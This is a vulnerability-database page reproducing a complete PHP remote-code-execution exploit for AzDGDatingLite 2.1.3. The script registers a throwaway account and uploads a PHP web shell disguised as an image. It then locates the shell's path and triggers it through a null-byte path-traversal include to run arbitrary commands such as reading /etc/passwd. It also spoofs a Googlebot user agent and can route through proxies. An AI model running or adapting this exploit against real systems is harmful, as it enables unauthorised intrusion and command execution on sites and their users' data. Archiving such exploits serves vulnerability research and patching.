Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

AzDGDatingLite <= 2.1.3 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 24 Views

AzDGDatingLite V 2.1.3 remote code executio

Code

                                                &#60;?php
#   azdgexpl.php                                                               #
#                                                                              #
#   AzDGDatingLite V 2.1.3 ( possibly prior versions) remote code execution    #
#   with generic http proxy support                                            #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   go!                                                                        #
#                                                                              #
#   Sun-tzu: &#34;Therefore, I say: Know your enemy and know yourself; in a        #
#   hundred battles, you will never be defeated. When you are ignorant         #
#   of the enemy but know yourself, your chances of winning or losing          #
#   are equal. If ignorant both of your enemy and of yourself, you are         #
#   sure to be defeated in every battle.&#34;                                      #
#                                                                              #


error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);

echo&#39;&#60;head&#62;&#60;title&#62;AzDGDatingLite V 2.1.3  remote commands execution&#60;/title&#62;&#60;meta
http-equiv=&#34;Content-Type&#34;  content=&#34;text/html; charset=iso-8859-1&#34;&#62; &#60;style type=
&#34;text/css&#34;&#62; &#60;!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --&#62; &#60;/style&#62;&#60;/head&#62; &#60;body&#62; &#60;p class=&#34;Stile6&#34;&#62; AzDGDatingLi
te V 2.1.3 (possibly prior versions) remote commands execution&#60;/p&#62;&#60;p class=&#34;Stil
e6&#34;&#62;a script by rgod at &#60;a href=&#34;http://rgod.altervista.org&#34;    target=&#34;_blank&#34;&#62;
http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62;&#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62; &#60;form
name=&#34;form1&#34;      method=&#34;post&#34;   action=&#34;&#39;.$SERVER[PHP_SELF].&#39;?path=value&host=
value&port=value&command=value&proxy=value&uploaddir=value&#34;&#62; &#60;p&#62;    &#60;input type=
&#34;text&#34; name=&#34;host&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;hostname (ex: www.sitename.com)  &#60;/span&#62;
&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;path&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;  path (ex: /azdg/ or
just /) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34;   name=&#34;port&#34; &#62;   &#60;span class=&#34;Stile5&#34;&#62;
specify a port other than 80 (default value)  &#60;/span&#62;&#60;/p&#62;&#60;p&#62; &#60;input  type=&#34;text&#34;
name=&#34;command&#34;&#62; &#60;span  class=&#34;Stile5&#34;&#62; a Unix command , example: ls -la  to list
directories, cat /etc/passwd to show passwd file &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text
&#34; name=&#34;proxy&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62; send exploit through an HTTP proxy (ip:por
t&#60;/span&#62;&#60;/p&#62; &#60;p&#62; &#60;input  type=&#34;submit&#34;name=&#34;Submit&#34; value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62;&#60;/td&#62;
&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
while ($ii &#60;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
             for ($li=0; $li&#60;=15; $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
			    }
            $ki=$ki+16;
            echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
            }
if (strlen($datai)==1) {echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;} else
{echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;}
$ii++;
$ji++;
}
for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
                       }

for ($li=$ci*16; $li&#60;=strlen($headeri); $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
			    }
echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}

$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy==&#39;&#39;)
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).&#39; -&#62; not a valid proxy...&#39;;
	     die;
	    }
	   $parts=explode(&#39;:&#39;,$proxy);
	    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo &#39;No response from proxy...&#39;;
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

    $html=&#39;&#39;;
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path&#60;&#62;&#39;&#39;) and ($host&#60;&#62;&#39;&#39;) and ($command&#60;&#62;&#39;&#39;))
{
  if ($port==&#39;&#39;) {$port=80;}

# step 1 -&#62; register and upload the evil jpeg file

srand(make_seed());
$anumber=rand(10000,99999);

//do not modify absolutely CRLF and spaces here...
$data=&#39;-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;l&#34;

default
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;a&#34;

a
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;fname&#34;

jimihendrix&#39;.$anumber.&#39;
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;lname&#34;

jimihendrix&#39;.$anumber.&#39;
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;pass&#34;

jimihendrix&#39;.$anumber.&#39;
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;rpass&#34;

jimihendrix&#39;.$anumber.&#39;
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;month&#34;

11
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;day&#34;

27
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;year&#34;

1942
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;gender&#34;

1
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;purpose&#34;

1
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;country&#34;

158
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;email&#34;

jimihendrix&#39;.$anumber.&#39;@hotmail.com
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;url&#34;


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;icq&#34;


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;aim&#34;


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;phone&#34;


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;city&#34;


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;marstat&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;child&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;height&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;weight&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;hcolor&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;ecolor&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;etnicity&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;religion&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;smoke&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;drink&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;education&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;job&#34;


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;hobby&#34;


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;descr&#34;

rock star
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;sgender&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;setnicity&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;sreligion&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;agef&#34;

14
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;aget&#34;

60
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;heightf&#34;

1
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;heightt&#34;

22
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;weightf&#34;

1
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;weightt&#34;

45
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;hdyfu&#34;

0
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;file0&#34;; filename=&#34;jimihendrix.gif&#34;
Content-Type: image/jpeg

&#39;;

$shell=&#39;&#60;?php error_reporting(0); system($HTTP_GET_VARS[cmd].&#39;.&#34;&#39;&#34;.&#39; &#62; README&#39;.&#34;&#39;&#34;.&#39;); ?&#62;&#39;;

$data.=$shell;

$data.=&#39;
-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;file1&#34;; filename=&#34;&#34;
Content-Type: application/octet-stream


-----------------------------23281168279961
Content-Disposition: form-data; name=&#34;file2&#34;; filename=&#34;&#34;
Content-Type: application/octet-stream


-----------------------------23281168279961--&#39;;
if ($proxy==&#39;&#39;)
{$packet=&#34;POST &#34;.$path.&#34;/add.php HTTP/1.1\r\n&#34;;}
else
{$packet=&#34;POST http://&#34;.$host.$path.&#34;add.php HTTP/1.1\r\n&#34;;}
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n&#34;;
$packet.=&#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&#34;;
$packet.=&#34;Accept-Language: en-us,en;q=0.5\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip,deflate\r\n&#34;;
$packet.=&#34;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&#34;;
$packet.=&#34;Connection: close\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;add.php?l=default\r\n&#34;;
$packet.=&#34;Cookie: PHPSESSID=13798fab78f7fa6e5bb501ac83329bdd\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------23281168279961\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n\r\n&#34;;
$packet.=$data;
show($packet);
sendpacket($packet);

#step 2 -&#62; retrieve upload subdir name and filename from index e profile page
if ($proxy==&#39;&#39;)
{$packet=&#34;GET &#34;.$path.&#34; HTTP/1.0 \r\n&#34;;}
else
{$packet=&#34;GET http://&#34;.$host.$path.&#34; HTTP/1.0 \r\n&#34;;}
$packet.=&#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacket($packet);

$temp=&#39;&#39;;$i=0;
while (!eregi(&#39;jimihendrix&#39;.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi(&#39;&#60;/html&#62;&#39;,$temp)) { die(&#34; Exploit failed... &#34;);}
}

$temp2=explode(&#39;&#60;a href=&#34;&#39;,$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode(&#39;&#34;&#39;,$temp);
$profile=$temp2[0];

echo &#39;&#60;br&#62;retrieving shell path from /&#39;.$profile.&#39;&#60;br&#62;&#60;br&#62;&#39;;

if ($proxy==&#39;&#39;)
{$packet=&#34;GET &#34;.$path.$profile.&#34; HTTP/1.0 \r\n&#34;;}
else
{$packet=&#34;GET http://&#34;.$host.$path.$profile.&#34; HTTP/1.0 \r\n&#34;;}
$packet.=&#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacket($packet);

$temp=&#39;&#39;;$i=0;
while (!eregi(&#39;jimihendrix&#39;.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi(&#39;&#60;/html&#62;&#39;,$temp)) { die(&#34; Exploit failed... &#34;);}
}

$temp2=explode(&#39;&#60;a href=&#34;&#39;,$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode(&#39;&#34;&#39;,$temp);
$shellfullpath=$temp2[0];

echo &#39;&#60;br&#62;Ok,found... shell is at &#39;.$shellfullpath.&#39;&#60;br&#62;&#60;br&#62;&#39;;
$temp=explode(&#34;/&#34;,$shellfullpath);
$temp2=count($temp)-1;
$subdir=$temp[$temp2-1];
$filename=$temp[$temp2];

# step 3 -&#62; launch commands
if ($proxy==&#39;&#39;)
{$packet=&#34;GET &#34;.$path.&#34;include/security.inc.php?cmd=&#34;.urlencode($command).&#34;&l=&#34;.urlencode(&#34;../../../members/uploads/&#34;.$subdir.&#34;/&#34;.$filename.chr(0x00)).&#34; HTTP/1.0 \r\n&#34;;}
else
{$packet=&#34;GET http://&#34;.$host.$path.&#34;include/security.inc.php?cmd=&#34;.urlencode($command).&#34;&l=&#34;.urlencode(&#34;../../../members/uploads/&#34;.$subdir.&#34;/&#34;.$filename.chr(0x00)).&#34; HTTP/1.0 \r\n&#34;;}
$packet.=&#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacket($packet);

# step 4 -&#62; making a GET request for redirected output
echo &#39;&#60;br&#62; if AzDGDatingLite is unpatched and vulnerable now you will see &#39;.htmlentities($command).&#39;output...&#60;br&#62;&#60;br&#62;&#39;;

if ($proxy==&#39;&#39;)
{$packet=&#34;GET &#34;.$path.&#34;include/README HTTP/1.0 \r\n&#34;;}
else
{$packet=&#34;GET http://&#34;.$host.$path.&#34;include/README HTTP/1.0 \r\n&#34;;}
$packet.=&#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacket($packet);
}
?&#62;

# milw0rm.com [2005-09-13]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
azdgdatingliteremote code executionrgodsecurity vulnerabilityphp.inihttp proxy support
24